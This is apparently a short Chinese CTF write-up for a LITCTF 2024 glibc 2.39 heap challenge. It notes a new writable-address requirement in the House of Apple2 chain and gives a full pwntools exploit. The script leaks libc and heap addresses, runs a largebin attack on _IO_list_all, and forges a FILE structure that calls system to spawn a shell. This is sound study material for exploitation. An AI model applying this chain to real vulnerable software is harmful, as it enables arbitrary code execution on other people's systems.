libc2.39堆攻击

  • 打litctf2024的时候遇到了一个libc2.39的堆,还是用house of apple2这个链打,但是有一点不同,这里做一下记录
  • 主要是发现fake_io_addr+0x88要是一个可写地址才行,之前没有这个要求,具体原因如图
  • 然后就正常进入IO_OVERFLOW打IO
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
import base64
context(os='linux', arch='amd64', log_level='debug')
# p=remote('node3.anna.nssctf.cn',28087)
p=process("/home/zp9080/PWN/heap")
# NSSCTF{af15dc69-ec2d-41d5-9a44-8a57bf1178a3}
elf = ELF("/home/zp9080/PWN/heap")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *$rebase(0x17C6)')  
    pause()

menu='>>'

def add(idx,size):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("idx? ",str(idx))
    p.sendlineafter("size? ",str(size))

def delete(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("idx? ",str(idx))

def show(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("idx? ",str(idx))

def edit(idx,cont):
    p.sendlineafter(menu,str(4))
    p.sendlineafter("idx? ",str(idx))
    p.sendafter("content : ",cont)


add(0,0x420)
add(15,0x488)
add(1,0x410)
add(14,0x500)
delete(0)
add(2,0x500)

show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x203f10
print(hex(libcbase))
edit(0,b'a'*16)
show(0)
p.recvuntil(b'a'*16)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x290
print(hex(heapbase))
edit(0,p64(libcbase+0x203f10)*2)

#largebin attack

io_list_all=libcbase+libc.sym['_IO_list_all']
target=io_list_all
delete(1)
edit(0,p64(0)*3+p64(target-0x20))
add(3,0x500)

rdi=libcbase+0x10f75b
rsi=libcbase+0x110a4d
ret=libcbase+0x2882f
system_addr=libcbase+libc.sym['system']
payload= b'  sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48
payload = payload.ljust(0x88,b'\x00')+p64(heapbase+0x4000)
payload = payload.ljust(0xa0, b'\x00') + p64(heapbase+0x001ea0+0x10) #_wide_data
payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
edit(1,payload[16:])
edit(15,b'a'*0x480+b'  sh;\x00\x00\x00')

wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(system_addr)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(heapbase+0x001ea0+0x10)
add(4,0x450)
edit(4,wide_data)

dbg()
p.sendlineafter(menu,str(5))

p.interactive()